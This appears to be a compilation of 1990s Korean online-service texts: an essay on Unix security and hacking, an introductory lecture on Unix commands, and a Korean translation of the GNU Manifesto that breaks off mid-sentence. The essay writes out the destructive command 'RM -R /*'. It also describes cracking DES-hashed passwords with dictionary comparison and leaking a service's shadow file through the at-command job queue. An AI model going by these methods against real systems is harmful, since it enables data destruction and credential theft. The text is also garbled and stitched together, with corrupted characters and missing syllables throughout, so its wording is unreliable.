 다.)암호를 고쳐주는 일을 하는 작업요원들이 있는 것과 같은 이치다.
그런데 만약 이 슈퍼유저의 암호가 유출된다면 어떻게 될까?
 하이텔에는 특정한 호스트 프로그램 하에서 정보제공이 이루어지므로 다른
 특별한 방법이 없는 한 그냥 일반유저나 관리자나 별반 다를 것이 없다.그
 런데 유닉스는 아니다.슈퍼유저로 유닉스에 접속하면 당장에 그 시스템의
 모든 파일을 삭제할 수 있다. 설령 그것이 우리나라 모든 사람의 주민등록
 번호를 담고 있는 상상할 수 없이 방대한 자료이다 할지라도
 유닉스 명령어인  RM -R /* 하면 끝나는 것이다.
 그리고 또한 문제가 되는 것이 이러한 암호 유출이 단순하게 사용자의
 부주의로만 일어나는 것이 아니라는 것이다.앞에서 밝혔듯이 유닉스는
 원래 정보 공유를 위해서 만들어진 운영 체제이다.그래서 그에 따른
 수 많은 부속 프로그램을 가지고 있는데 이 프로그램들이 전부 완벽할
 수가 없다.어딘가 헛점을 가지고 있다.예를 들어 보자.
 인터넷에서는 유닉스용 ftp라는 파일 전송 프로토콜이 있다.이 것은
 다른 유닉스 시스템에서 공개되어 있는 자록도록 되어 있는데 ftp는 이러한
 파일들을 카피해 올 수 있는 기능을 가졌던 것이다.프로그래머가 ftp를 만들때 파일에
 대한 소유권을 점검하여 타인에게 전송하는 것을 깜빡잊은 것이다.
 또한 이런 ftp는 인터넷에서 하나의 컴퓨터에만 쓰이는 것이 아니라
 수백만대에서 쓰여서 내가 만약 ftp의 잘못된 버그를 알아낸다면
 이 수백만대 컴퓨터가 그 사람에게 노출되어 있어 언제라도 공격받을
 수 있다는 것이다.(실제로 공격을 받아서 난리가 난 사건이 있었다.)

 유닉스에서 계정(아이디 비슷한 개념)을 보호하는 방법은 해당 계정에
 대해 암호를 물어보는 것이다.그리고 이 암호에 대한 정보를
 담고 있는 파일은 유닉스 시스템 내에 들어있고 누구든지 볼 수 있다.
 (지금은 shadow라 하여 못 보는 시스템도 있다.인터넷 서비스를 하고
 있는 나유컴의 아이넷이 그렇다.) 그런데 이 암호에 대한 정보는
 그리 단순한 것만은 아니다.특별한 암호화 기법(DES압호화기법)을 사용하
 여 그 역연산이 불가능하다.(아직 알려지지 않았다.)
 그러니까 만약 내가 abdfeg라는 암호를 내 계정의 암호로 지정한다면
 컴퓨터는 이 암호를 아주 특이하게 암호화 시켜서 컴퓨터내의 passwd파일
 에 내 계졍껦식으로 저장) 그리고
 나중에 내가 접속하면 암호를 물어서 그 자리에서 입력받은 암호를 다시
 암호화하여 이미 저장된 내용과 비교 한다.그리하여 그 계정의 진짜
 주인인지를 확인한다.
  그런데 여기서도 문제가 발생한다.일부 사용자들이 암호를 단순하게
 apple같은 것으로 했다면 알아내기가 쉬워진다.passwd파일을 컴퓨터에
 복사해놓고 DES암호화기법을 통해서 몇가지 가능한 것들을 암호화시켜
 passwd파일과 비교하는 프로그램을 짜서 실행하면 암호를 금방 알아낼
 수 있다.예를 들어 영어 사전에 있는 모든 단어들을 하나씩 하나씩 비 있다
.그래서 요즘엔 사용자들이 추측하기 어려
 운 암호를 써서 위와 같이 비교대조하는 방법으로 암호를 알아내려면
 굉장히 오랜 시간이 걸리도록 하고 있다.하지만 이것도 안심할 수 없으므
 로 요즘에는 아예 shadow라는 이름의 파일에 이 passwd의 내용을 저장해
 놓고 슈퍼유저이외에는 내용을 열람할 수 없게 되어있다.
  그런데 이 체계도 구멍이 날 수 있다.유닉스에는 at명령이 있는데 이것은
 멀티체제의 유용한 명령중 하나로 지정한 시간이 되면 어떤 프로그램을
 실행하라는 등의 일종의 알람 실행기이다.문제는 이 at명령을 사용하여
 쉘 스크립트(일종의 프로그램 파일을 지정해놓으면 그 파일(슈퍼유저이외
 에는 볼 수 없는 파일)을 저장하여 atjobs의 등록영역에서 대기하고 있게 된
 다.이렇게 대기하고 있는 것은 사용자가 접근 권한을 가지고 있기 때문에
 쉽게 열람해서 볼 수 있다.운영자 몰래 간접적으로 shadow파일을 뺴내는
 것이다.불행히도 나우컴의 아이넷에서 이 방법이 통용되었던 적이 있었다.
 하지만 95년되자마자 그 대기영역의 소유자를 바꾸면서 접근을 금지
 시켰다.한마디로 더이상 대기영역에 있는 내용을 빼낼 수가 없게
 된 것이다.
shadow 영역의 패스워드 화일은 퍼미션에 의해서 제한되었다.
그속의 암호들은 DES 암호화 되어 있기 때문에 다른 사람의 암호는 볼수 없다.
그리고 고칠수 없는것은 화일이 퍼미션이 다른 유져에게 닫혀있기 때문에,
SOL (INET) 은 /ETC/PASSWD화일을 두개 가지고 있다.
그런것을 쉐도우 PASSWD라고 한다.
finger같은 것을 하면 그 사람의 본명을 볼수 있어야한다.
그것은 곧 모든 사람이 /etc/passwd를 읽어야한다는 것이다.
그리고 ls -l하면 그 화일의 소유자를 볼수 있다.
이것은 그 화일의 소유자는 실제적으로 숫자로 기록되어 있고  /etc/passwd화일을 참고 해서.. 그
숫자를 실제적인 계정으로 바꾸는것이다.
 그렇게 때문에 /etc/passwd화일은 누구나 읽을수 있어야 한다는 것이다.
하지만 쉐도우암호화는 읽을수 있어야하는 부분만 /etc/passwd에 관리를하고
실제적은 암호는 읽수도 없는 /etc/shadow에 관리한다.
그래서 sol이 핵킹을 안당한다고 자부한것이다.
passwd를 읽을수 조차 없어서 하지만 버그에 의해서 읽게 되었다고들 전한다.

Unix를 기반으로  하는 Internet User가  자주 사용하는 Internet  Tool을 예로 들라면,  아무래도
finger를 뺄 수가 없다.

finger - display information about local and remote users.

위의 정의에 따르면, finger라는 것은 자신이 지금  사용하고 있는 호스트(local host) 혹은 원거리
에 있는 호스트 컴퓨터(remote host)의  이용자의 정보를 보여준다고 할 수 있다.

그럼 과연 finger는  어떤 과정을 통해서 먼거리에 있는  이용자의  정보를 보여줄 수  있는 것인
가?
보통 /var/adm 디렉토리에 utmp라는 파일이 존재합니다.  이  파일은 현재  누가 그 호스트에 접
속(logged in)되어져 있는가를 알려주는 파일이다.
finger는 username@hostname.domain 의 형식에서  hostname. domain의 /var/adm에서 utmp라는
파일을 검색해서, username의  이용자가 현재 접속하고 있는지 아닌지 부터 알아냅니다.  그 과정
에서 어느 TTY를 사용 중인지도 알아내는 것은 당연하다.
그리고, /etc 디렉토리에  있는 passwd 파일에서 그 username을   가진 이용자의 진짜 이름(Real
name)이 무엇인지를 파악한다.
그리고,그 이용자가  사용하는 Shell이 어떤 것인지도 파악한다.
그리고, 어느 디렉토리를 이용하는지도 알아낸다.
그리고, /var/adm 디렉토리의 lastlog  파일에서 그 username을  가진 이용자가 언제  마지막으로
접속을 했는가를 파악한다.
물론 이과정은 utmp에서 username의 이용자가 현재 접속한 상태일 때는 보여주지 않는다.
그리고, 그 username의 이용자 디렉토리에서 .plan 파일을 찾아내어,
그 사람의 plan이 무엇인지  보여주고, .project 파일을 찾아내어, 그사람의 project는  무엇인지 보
여주게 됩니다.(이용자 디렉토리는 etc디렉토리에 있는 passwd에서 알아낸다.)
이런 작업을 해내게 됨으로써 원거리 혹은 local 호스트에  있는 이용자의 finger 결과를 얻어내게
되는 것이다.

 만약 어떤 사람이 인터넷에서 슈퍼유저의 권한을 획득하는 방법을
 알아낸다면 그것은 수백만 컴퓨터가 그 사람의 공격에 무방비상태라는
 것을 뜻한다.그래서 인터넷상에서의 해킹은 더욱더 심각한 것이다.
 하지만 아직까지는 그리 심각한 버그는 없는 것같다.그러나 인터넷
 상에서의 해킹은 이러한 아이디 도용 뿐만이 아니라 그 복잡성에서
 나온 헛점들에 의한 것들도 수두룩 하다.대부분이 일반 사용자가
 할 수 없는 일들을 일정한 편법을 써서 되게 하는 것이다.

 이제 우리도 인터넷 시대에 접어들었다.국내 수 많은 대기업들이 인터넷에
 연결되었고 나우컴에서 천리안에서 인터넷에 접근할 수 있는 계정을
 일반 사용자에게 부여하고 있다. 이러한 시기에 아직까지 해킹이라면
 하이텔에서 아이디 도용하는 것쯤으로 생각한다면 문제가 아닐 수 없다.

 특히 사설비비에스와 천리안,하이텔등의 암호를 공유하는 일이 없도록 당부하는
 바이며 기회가 닿는다면 꼭 인터넷에 가입해서 통신이 무엇인지 직접
 경험해 보기 바란다.


안녕하세요.

11번째 시간입니다.

이번시간에는 유닉스에 대해 알아보기로 하겠습니다.
다음시간부터 인터넷에 대한 강좌가 2회 게재 되겠습니다.


1-2-2 인터넷 사용자를 위한 유닉스 기본

  유닉스는 가장  훌륭한 운영체제이다. PC에서  동작하는 주요 OS로는  DOS, MS-WINDOWS,
OS/2 등을 들 수 있다. DOS의 시대는 이미 지났으며(MS-DOS 6.x 버젼이 DOS의 마지막 버젼),
MS-Windows나 NT는 수많은 소프트웨어군들을 가지고  있고, OS/2는 화려한 개체 지향 인터페
이스와 DOS나 MS-Windows와의   특유의 호환성을 지원하고 있다. 유닉스는 이러한  운영체제
들의  모범이  되어온 강력한  멀티태스킹과  멀티유저기능을  보유하고 있으며,  GUI  환경으로
는 X-Windows를 제공한다. 특히,   리눅스는 유닉스의 공개 버젼으로써  486 PC를 유닉스가 탑
재된 워크스테이션급의 성능과 맞먹는 기능을 제공하는 훌륭한 유닉스 시스템이다.

  근래들어, 많은 소프트웨어들이  사용자 인터페이스에 역점을 두어  개발되고 있다. 일반적으로
유닉스는 사용자 인터페이스가 좋지 않다고 알려져 있으며, 따라서 배우기 어렵다고 한다. 이것에
대한 필자의 생각은 이렇다.  아무리 쉽게 설계된 운영체제나  응용프로그램들도 그  기능을 충분
히 활용하려면 적지  않은  시간과 노력이 들기 마련이다.   DOS의 허약한 체력을 뒷바침해주는
것은  비정상적인 트릭과 하드웨어를 직접 제어하여  그 체력의 한계를 뛰어 넘는 훌륭한 응용프
로그램들이다. 실제로 스스로 부팅하여 동작하는 프로그램도 있었다.   결국, 사용자의 입장에서는
운영체제와 응용프로그램과의 어떠한   통일성이나 일관성을 찾아 보기 어려우며, 서로   다른 유
틸리티나  응용 프로그램을 각각  열심히 배워야 한다.  각각의 응용프로그램들이 고유의  인터페
이스를 가지고 있는  것은  수많은 프로그램을 이용해야하는 사용자에게는   결코 사용하기 편한
인터페이스는 아닐 것이다.
  훌륭한 사용자 인터페이스는 깔끔한 화면이나 쉽게 실행시킬 수 있는 구조를 가지고 있는 것보
다는 사용자가 원하는 최종 결과를 쉽게 얻을 수 있어야 한다.

  응용프로그램들이 방대해지고 있다. 이제는 응용프로그램 하나가 10MB 이상되는 것을 쉽게 찾
아 볼 수 있다. 통합적인 기능을 제공하기 위해서 수많은 루틴과 폰트들이 첨가되고, 사용자 인터
페이스를 위해서 적지   않은 코드들이 사용된다. 아무리 수많은 기능을   제공하는 응용프로그램

라 할지라도 모든 작업을 할 수 없는 것이 컴퓨터상의 작업이다. 따라서, 당연히 여러가지의 응용
프로그램을 사용하며, 그러인해 똑같은 루틴과 폰트 등이 여러개 존재하게 된다. 이것은 프로그래
머나 사용자에게 낭비가  아닐  수 없다. 유닉스는  라이브러리를 서로 공유하며, X상의   폰트들

함께 사용한다. 적은 용량이 아닌 유닉스는 실제로 최적화된 시스템인 것이다.

  OS/2나 NT는 모두 훌륭한   운영체제들이다. 하지만, 실제로 이들 운영체제를 사용하기   위해

는 최소한 각각  8MB와 12MB의 RAM용량을 가지고 있어야  하며, 이들 전용의 응용프로그램도
많지 않다. 대부분  DOS와의 호환성으로 그 응용프로그램들을 실행할 수  있으나, 큰 패키지같은
경우는 운영체제에 다소 무리가 따르며, 실행이 불가능한 것도 있다.

  리눅스는 전세계의 해커들에 의해 만들어진  80386 이상의 PC에서 운영할 수 있는  공개  유닉
스이며, FSF(Free Software Foundation)에서 GNU(Gnu's Not Unix) Project의 일환으로 계획 개
발된 것이다. FSF는 "소프트웨어는 소스를 포함하여  공개적으로  배포되어야 소프트웨어 자체를
비롯하여 사용자나 개발자에게 진정한  발전이  이루어진다"라는 주의를 펼치고자 설립된 비영리
재단이며, GNU는 그것을 실천으로 옮기고자하는 프로젝트이다.

  해커의  시대가 하드웨어에서   소프트웨어로 변화되었다.  이 시대  마지막 해커라고   불리우
는 Richard Stallman이   설립한 FSF는 진정한 해커주의를  실현하고 있는  재단이다.  해커라는
말이 사회적으로 나쁜 용어로 쓰이고  있는게 현실이지만,  이들은 반드시 범죄자와는 구분되어야
한다.
해커주의는 근본적으로 정보는 모든이에게  공유되어야 한다는 것이 주된 바탕이다. 따라서, 프로
텍트를 걸거나 소프트웨어를   판매하는 행위로 정보의 흐름을 막는 것을   거부한다. 소프트웨어
에 관한 지적 소유권이나 특허권에   위배된다고 볼 수 있으나, 이들 법률적 장치는   궁극적으로
소프트웨어를 발전시키는  것이 목적이지  쇠퇴시키는  것이 아니다. Richard  Stallman이 생각해
낸 것은 상업용이 되어버린 수많은 프로그램을  지적 소유권 침해없이 공개용 프로그램으로 만드
는 것이었다. 이것이 바로, 법에 위배되지 않으면서 소프트웨어를 마음대로 사용할  수 있게 하는
GNU 프로그램들이다. 결론적으로, 리눅스라는  훌륭한 공개 유닉스와 수많은 GNU 프로그램들이
개발되었다.

  현실적으로, 절대적인 기술  우위로 미국 주도인 소프트웨어  산업을  우리나라같은 후발주자들
이 따라잡기 위한 방법중의 하나가  GNU라고 생각한다. `한글화'라는  울타리에 언제까지나 안주
할 수는 없으며,  유니코드(UNICODE)는 그 울타리마저 허물어  버릴 것이다. 소수의 개발자팀에
의해 힘들게 쫓기 보다는 다수의 사용자와 개발자들 모두 서로 나누고 발전시키는 것이 유니코드
를 역이용할 수 있는 방법이 될 것이다.



인터넷 사용을 위한 기본적인 유닉스의 명령과 체계에 대한 글이다.


    ■ 로그인/로그아웃(login/logout)
    유닉스 시스템을 사용할 때 최초로 접속하는 것을 '로그인(login)'이라
하고 작업을 종료하고 빠져나오는 것을 '로그아웃(logout)'이라고 한다.
모뎀을 통해 접속하면 'login:'이 나타나면서 사용자번호(id)를 물어본다.
    이때 자신의 계정을 입력하면 시스템은 다시 그 id에 대한 암호를
'Password:'라고 묻는다. 암호를 입력하면 비로소 해당 시스템에 로그인이
된 것이다. gglim이라는 id를 가진 사용자가 로그인하는 예는 다음과 같다.
암호는 보안상 화면에 나타나지 않는다.

    login: gglim
    Password: ________

    유닉스 시스템을 끝낼 때는 'logout' 또는 'exit' 명령어 중 하나를
입력한다.
    한가지 주의할 것은 유닉스 시스템은 도스와는 달리 대문자와 소문자를
구분한다는 점이다. 대부분의 유닉스 명령어와 사용자 id는 소문자이므로
입력할 때 대문자로 입력하지 않도록 주의해야 한다.


    ■ 유닉스 셸

    유닉스 셸은 사용자와 운영체제 커널 사이에 위치하는 명령어
해석기다. 셸은 사용자의 입력을 받아 이를 해석한 후 상응하는 동작을
취해주는, 사용자와 시스템 사이의 인터페이스며 일반 프로그래밍 언어의
기능도 포함되어 있다. 유닉스 시스템에서 기본적인 셸은 'Bourn
Shell(/bin/sh)'과 'C Shell(/bin/csh)'이다. 일반적으로 로그인하면 csh이
로그인될 때 기본으로 작동되어 csh 상태에서 모든 명령을 수행하는
것이다. csh의 기본 프롬프트는 "%" 이다.


    ■ 명령어 문법 구조

    일반적인 유닉스의 명령어는

         command [-옵션] [파라메터]

    와 같은 형식을 취한다. 여기서 명령어란 셸 내부의 내장(built-in)
명령어이거나 실행가능한 파일로 따로 존재하는 외장 명령어다. '-옵션'은
명령어의 기본적인 동작을 바꾸기 위해 사용된다. 도스에서는 '/'를
사용하는데 여기서는 '-'를 사용한다는 점이 다르다. '파라메터'는 주로
파일명을 나타낼 때 사용하는데 명령어마다 파일명을 요구하는 것과
하지않는 것이 있다.
    그러면 도스의 dir에 해당하는, 파일 리스트 보기 'ls' 명령어을 통해
명령어에 대한 개념을 익혀보자. 다음은 "abc"란 파일의 정보를 자세히
보고자 한 경우다.

          % ls  -l  abc
         -+ -+- -+- -+-
          |  |   |   +-- 파라메터(파일명)
          |  |   +----- 옵션(l=long;자세한 정보)
          |  +-------- 명령어
          +----------- 프롬프트

    박스처리
    -------------
    한 번으로 여러 번을...
    - 메타문자 -

    유닉스 셸에서 메타문자들를 이용하면 한 번의 작업으로 다양한 파일을
지정할 수 있다. 도스의 와일드카드에 해당한다. 기본적인 메타문자와 그
의미를 아래에 정리했다.

    ----------------------
     *     0개 또는 그 이상의 모든 문자와 대응
     ?     정확하게 하나의 문자와 대응
     []    리스트 또는 명시한 범위 내의 모든 문자와 대응
     {}    명시한 리스트 항목으로 대치
     ~     사용자의 홈디렉토리
    -----------------------


    ■ 디렉토리 구조

    유닉스는 트리(Tree) 구조의 디렉토리에 파일들이 배치되어 있다.
도스의 디렉토리도 알고보면 유닉스에서 따온 개념이다. 디렉토리
경로(path)는 도스서는 '\'로 구별하지만 유닉스서는 반대로 '/'를 사용한다.
도스의 루트디렉토리인 "C:\" 는 유닉스에서는 "/"다.
    하지만 유닉스는 루트디렉토리와 각 사용자들의 홈디렉토리를
구별한다. 따라서 일반 사용자가 접속하면 루트디렉토리가 아니라 자신의
홈디렉토리로부터 시작한다. 그 이유는 유닉스가 기본적으로 여러 사람이
함께 사용하는 시스템이기 때문이다. 홈디렉토리서는 자신의 파일이나 서브
디렉토리를 만들고 작업을 할 수 있다. 예를 들어 soback.hana.nm.kr
호스트의 gglim이라는 계정의 홈디렉토리는 '/user2/staff/ggilm'인데 자신의
홈디렉토리를 $HOME이나 ~로 표현한다. 자신의 홈디렉토리로 바로
이동하려면 'cd(Changer Directory)' 명령을 이용해 다음 3가지 방법으로 쓸
수 있다.

        % cd  /user2/staff/gglim
        % cd  $HOME
        % cd  ~


    파일관련 유닉스명령어

    이번에는 유닉스 시스템에서 파일 조작과 관련된 주요 명령어들을 살펴
보자. 도스에서는 파일이름은 ????????.???로 길이와 형식이 지정되어
있으나 유닉스에서는 그러한 제약이 없다. 그러므로 파일이나 디렉토리
이름은 자신이 원하는 대로 만들 수 있다. 예를 들어
"i_am.LimGyooGun-입니다" 등의 파일이름이나 디렉토리 이름이 가능한
것이다. 하지만 인터네트서도 표준화된 확장자가 몇몇 있다. <표 1>에 주요
확장자를 정리해 두었다.

    -----------------------------------------------------------------
           확장자                     확장자 의미
    --------------------- -------------------------------------------
          love.doc              도큐먼트(텍스트) 문서
          love.tar              tar라는 형식으로 압축되어 있는 파일.
                                 ('tar -xvfp'로 푼다)
          love.Z                compress로 압축되어 있는 파일
                                 (uncompress로 푼다)
          love.txt              텍스트 파일
          love.ks               KS완성형 코드로 된 한글 파일
          love.gif              gif 포맷 그래픽 파일
          love.ps               포스트스크립트형식의 그림파일
          love.au               오디오 파일.
                                ('cat love.au > /dev/audio'로 듣는다)
      ---------------------------------------------------------------
     표 1. 유닉스 파일의 확장자와 그 의미


    ■ ls 명령어

    ls는 파일의 목록을 보는 명령어로 가장 많이 쓰인다. 도스의 d  에
해당하는 ls 명령어에는 40 여개가 넘는 옵션이 있다. 그 중 가장 많이 쓰는
중요한 옵션은 다음과 같다, 옵션은 '-lt' 식으로 조합해 사용할 수도 있다.

    ------------------------------------------------------------------
      -F  파일의 유형을 나타내는 기호를 파일명 끝에 표시(디렉토리의 경
          우 "/", 실행파일의 경우 "*", 심볼릭 링크파일의 경우 "@"를)
      -l  파일에 관한 더 상세한 정보를 출력
      -a  dot 파일(.cshrc 등)을 포함한 모든 파일을 리스트
      -t  파일이 생성된 시간별로 리스트
    ------------------------------------------------------------------

    ■ cat 명령어

    cat은 특정파일을 읽어서 화면에 출력하는 명령으로 도스의 TYPE
명령과 같지만 그외에도 다양한 용도가 있다.

          ◆ 파일의 화면 출력
             % cat 파일명

          ◆ 파일의 생성
             % cat > 새파일명
             ...
             파일의 내용을 입력
             ...
             ^D (입력종료:Ctrl+D키)
             %

          ◆ 복수개의 파일을 하나의 파일로 결합
             % cat 파일1 파일2 파일3 > 새파일명

          ◆ 한 파일에 다른 파일을 붙이기
             % cat 파일1 >> 파일2


    ■ mv 명령어

     mv는 파일이나 디렉토리의 위치를 옮기거나 이름을 바꾸는데
사용된다. 디렉토리를 mv시키면 그 디렉토리 밑의 서브디렉토리들과 파일
모두가 옮겨진다.

          ◆ 이름변경
             % mv 원래파일명 새파일명

          ◆ 파일의 위치 변경
             % mv 파일명 디렉토리명

          ◆ 디렉토리 위치 변경
             % mv 원래디렉토리명 새디렉토리명


    ■ cp 명령어

    파일을 복사하는 명령어로 도스의 copy와 같은 기능을 한다. '-r'
옵션을 붙이면 그 밑의 모든 서브 디렉토리의 내용까지 복사한다.


┌─────────────────────────────────┐
│% cp file.org file.cp       ; file.org를 파일 file.cp로 복사      │
│% cp file.org ../doc        ; doc이 디렉토리일 경우 ../doc 디렉토 │
│                              리에 file.org 란 이름으로 복사된다. │
│% cp file.org ../doc/file.cp ; ../doc 디렉토리에 file.cp 로 복사  │
│% cp -r /usrme/work         ; /usr 밑의 모든 파일과 디렉토리 구조 │
│                              가 /home/work 으로 copy 된다.       │
└─────────────────────────────────┘

    ■ rm 명령어

    rm은 파일을 삭제하는 명령어로 도스의 DEL에 해당한다.


┌─────────────────────────────────┐
│  % rm a.dat         ; a.dat 파일 삭제                            │
│  % rm -r ../doc     ; ../doc 디렉토리 밑을 모두 삭제 (recursive) │
│  % rm -i a.*        ; "a"로 시작하는 모든 파일을 일일이 삭제할   │
│                       것인지 확인하면서 삭제 (interactive)       │
└─────────────────────────────────┘

    ■ more/head/tail 명령어

    more 명령은 한 화면이 넘는 파일을 한 화면 단위로 보여준다.
스페이스바를 누르면 다음 화면으로 넘어가고 "q"를 누르면 출력을
중간에서 종료한다. 이 외에도 많은 more 의 내부 명령어가 있으며 이들에
관한 간략한 설명은 "h" 를 누르면 얻을 수 있다.
    head(tail) 명령은 파일 앞부분(뒷부분)을 출력해준다. "-" 다음에
파일의 앞(끝)에서부터 출력을 원하는만큼 행 수를 기입할 수 있다. 이
명령은 파일 내용을 간단히 살펴볼 필요가 있을때 사용한다.

    % head letter.doc      ; letter.doc의 앞의 몇줄을 출력
    % tail -100 letter.doc  ; letter.doc 파일의 마지막 100 행을 출력


    ■ chmod 명령어

    유닉스에서는 각 파일과 디렉토리마다 이용권한이 있는 사용자와 없는
사용자를 구분한다. 일종의 보안 유지 차원과 자원의 활용을 위해 구분하는
것이다. chmod 명령어는 사용자에 대한 파일의 접근을 제한하는데
사용된다. 유닉스에서 각 파일은 읽기(r, read), 쓰기(w, write), 실행(x,
executiuon)에 관한 권한을 소유자(u, user), 그룹멤버(g, group),
일반사용자(o, other)로 나누어 할당한다. <표 2>는 "love.doc" 파일에 대한
"ls -l" 명령을 수행해 그 파일의 상세정보를 보여 주고 있다.

┌──────────────────────────────┐
│  -rwxrwxrwx  gglim  staff  9633  Jan 12 10:15 love.doc     │
│   | || || |  -----  -----  ----  ------------ --------     │
│   +-++-++-+  소유자 그 룹  크기   마지막 갱신  파일명      │
│    u  g  o     u      g                                    │
└──────────────────────────────┘
    표 2. 유닉스 시스템에서는 파일과 디렉토리를 소유자(u), 그룹멤버(g),
일반사용자(o)로 나누어 이용권한을 부여한다.


    <표 2>에서 제일 처음의 "-"는 일반 파일을 의미하는 것이며
디렉토리일 경우에는 "d"로 표시된다.
    chmod 명령의 사용법은 다음과 같다.

      +--------------------------------------------------+
      |    chmod [augo][+-=][rwx] 파일명                 |
      |            -+--  -+-  -+-                        |
      |        +----+     |    ---------+               |
      |        | +-a all  |  +-+ add     | +-r read      |
      |        +-+ u user +--+ - remove  +-+ w write     |
      |          | g group   +-= set       +-x excute    |
      |          +-o other                               |
      +--------------------------------------------------+

    실제 사용 예를 보이면 다음과 같다.

       % chmod u+x love.doc ; love.doc 파일의 소유자에게 실행할
                              수 있는 권한을 부여
       % chmod go-rwx *     ; 모든 파일에 대해 그룹/일반 사용자
                              에게 모든 권한을 없앰


    ■ grep 명령어

    grep은 파일 내에서 특정 항목을 찾는데 이용되는 명령어으로 'grep
찾을내용 파일명'의 형식으로 사용된다. grep의 첫번째 파라메터는 찾고자
하는 내용에 대한 표현식이고 나머지 파라메터는 찾을 파일명들이다. 사용
예는 다음과 같다.
    % grep xterm *.doc ; '.doc' 으로 끝나는 모든 파일에서
                          'xterm'을 포함하는 모든 행을 출력





                                   GNU 선언문

Copyright (C) 1985 Richard M. Stallman  (Copying permission notice at the end.)

  GNU란 무엇인가? Gnu's Not Unix!

  GNU는 유닉스와 완벽하게 호환하는  소프트웨어 시스템이며 사용가능한  모든이가 무료로  사

하도록 작성한  것이다. 몇몇   다른 자원자들의  도움이 있었으며,  많은 시간적, 금전적  지원과

로그램과 장비가 절실히 필요한 상태이다.

  우리는 문서 형식기로  TeX를  사용할 것이며, nroff도  여전히 사용될 것이다. 또한,   X 윈도

시스템도 사용할 것이다. 이런 후에 Common Lisp, Empire, 스프레트시트 등과 수많은 다른 프로
그램을 온라인 문서를 포함하여 추가할  것이다. 우리는 결국, 일반적인 유닉스 시스템의 모든 기
능을 갖추게 될 것이다.

  지금까지 우리는 편집명령을  작성하기 위한 리스프를 갖춘  Emacs  문서 편집기,  소스수준의

버거, yacc호환 파서 생성기, 링커등 35개 가량의 유틸리티를 만들어 왔으며, 쉘(명령어 번역기)은
거의 완벽한 수준에 이르렀다. 최적화된 포터블 C 컴파일러가 새로이 제작되었으며 이번 해에 배
포될 것이다. 이미 처음의 커널이  있기는 하지만 유닉스를 구현  하기 위해서는 보다  많은 사양

이 추가되어야 할  것이다. 커널과 컴파일러가 완성되면 프로그램  개발에 적합한 GNU 시스템을
배포할 수 있을 것이다.

  GNU는 유닉스 프로그램들을  사용할 수 있게 해주지만 유닉스와  동일한 것은 아니다. 우리는
다른 운영체제에서의 경험을 살려 가능한 사용하기 편리하도록 향상을 꾀했다. 특히, 긴 파일명을
쓸수 있게 하고, 파일   버전넘버를 달고, 견고한 파일시스템을 구축하고, 터미널   비의존적인 디

플레이 장치를 만들 계획이며 최종적으로 몇개의 리스프 프로그램과 일반적인 유닉스 프로그램이
한 화면을 나누어  쓸  수 있는 리스프 기반의  윈도우 시스템을 만들 것이다. 시스템   프로그래

언어로 C와 리스프 두가지를 다 사용할 수 있을 것이다. UUCP, MIT Chaosnet, 인터넷 프로토콜
을 지원할 것이다.

  GNU 는 본래 가상메모리를 가진  68000/16000 계열의 컴퓨터를 겨냥하고 제작되었다. 그 까닭
은 그 기계들에서 GNU를 가장 쉽게 작동시킬  수 있기 때문이다. 보다 작은 컴퓨터에서 작동 시
키기 위해서는 사용하고자 하는 사람이 특별한 노력을 기울여야 할 것이다.

  심각한 혼돈을 야기할 수 있기 때문에 'GNU'가 이 프로젝트를 지칭 할 때는 반드시  'G'를 발
음해주기 바란다.


  나는 누구인가?

  나는 리처드 스톨맨이란 사람이며 Emacs 에디터의 고안자이다. 나는 컴파일러, 에디터, 디버거,
명령어 해석기,  시분할체제와  리스프머신 운영체제에  관해 광범위한 작업을 해왔으며,   ITS에

터미널 비의존적인 출력장치를   개발했다. 그런 다음 리스프기계를 위한 견고한(crashproof)   파

시스템 하나와 두개의 윈도우 시스템을 구현했고, 지금은 세번째 윈도우 시스템을 구상했으며, 이
것은 GNU는 물론 다른 많은 시스템에 이식될 것이다.


  왜 GNU를 작성해야만 했는가?

  어떤 프로그램을 좋아 한다면 당연히 그것을 좋아하는 사람들과 함께 나누는 것이 황금률(대우
받고자 하는 데로 대하라.-성서)이라고  생각한다.  소프트웨어를 판매하는 사람들은 사용자를 각
각 구분하고, 그들위에  군림하고,  사용자 서로가  프로그램을 공유하는 것을 막고자한다.   나는

런 식으로 사용자간의  결속이  깨지는 것을 거부한다.  나는 올바른 양심으로 비공개   협정이나

프트웨어 라이선스 협약에  서명할 수 없다. 여러해동안  인공지능  연구소에서 일하면서  그러한

향과 다른 박정한  일들에  저항해 보았지만 결국에는  그들의 승리로 끝나고 말았다.   내의지에

행하는 그런 일들이 일어나는 연구소에 나는 더이상 머무를 수가 없었다.

  내가 계속해서  명예를  손상시키지않고  컴퓨터를 사용하기위해, 공개되지않은   소프트웨어를

이상 사용하지 않고도 작업을 해나갈 수  있는 충분한 공개 소프트웨어의 본체를 만들 결심을 했
다.


  유닉스와 호환성을 가지는 이유

  유닉스가 이상적인 체제라고  생각하지는 않지만 제법 쓸만하다고  할  수 있다.  유닉스체제의

자는 훌륭한 것이며 나는 유닉스의 장점을  해치지 않고도 부족한 점을 메꿀 수 있으리라 생각했
다. 그리고 유닉스와 호환을 가지면 다른 많은 사람들이 적응하기에도 편리할 것이라 생각했다.



  GNU를 사용하는 방법

  GNU를 사용하는데 지역적인 제한을 받는 것은 아니다. 누구나 GNU를 수정하고 배포할 수 있
지만 어떤이도 GNU가   보다 널리 배포되는  것을 제한할  수  없다. 즉, 변경한 내용을  독점할

없다는 것이다. 나는 모든 버전의 GNU가 공개된채로 남아있기를 보장 받고 싶은 것이다.


  많은 다른 프로그래머들의 동참을 바라는 이유

  나는 그동안,  GNU에   흥미를 느끼고 돕고자 하는 많은 프로그래머들을 찾을 수   있었다. 많

프로그래머들은 시스템 소프트웨어가   상용화된 것을 불쾌하게  생각한다. 이렇게 함으로   해서

다 더 많은  돈을 벌 수는 있겠지만 일반적으로 이런  상황에서는 프로그래머들이 서로를 동지로
느끼기 보다는 투쟁해야할  대상으로 느끼게 된다. 프로그래머들  사이의  우정을 나타내는  가장

본적인 행동은  프로그램을 나누는   것이다.  이제는 전형적인 핵심으로  여기는 마케팅  협정은

로그래머들이 친구로서 다른   프로그래머를 대하는 것을 금하고 있다. 소프트웨어를   구입한 자

우정과 준법중 하나를  선택해야만 한다. 물론 자연적으로 많은  이들이 우정을 보다 중요시한다.
그러나 법의 존재가치를 인정하는 사람들은  어떤 결정을 내리든 편한  마음을 가질 수  없다. 그

은 냉소적이 되어 프로그래밍은 단지 돈을 버는 수단이라고 생각 하게된다.

  그러나 독점적인 프로그램들 대신 GNU를 사용하게되면, 우리는 모든이에게 온정을 가질 수 있
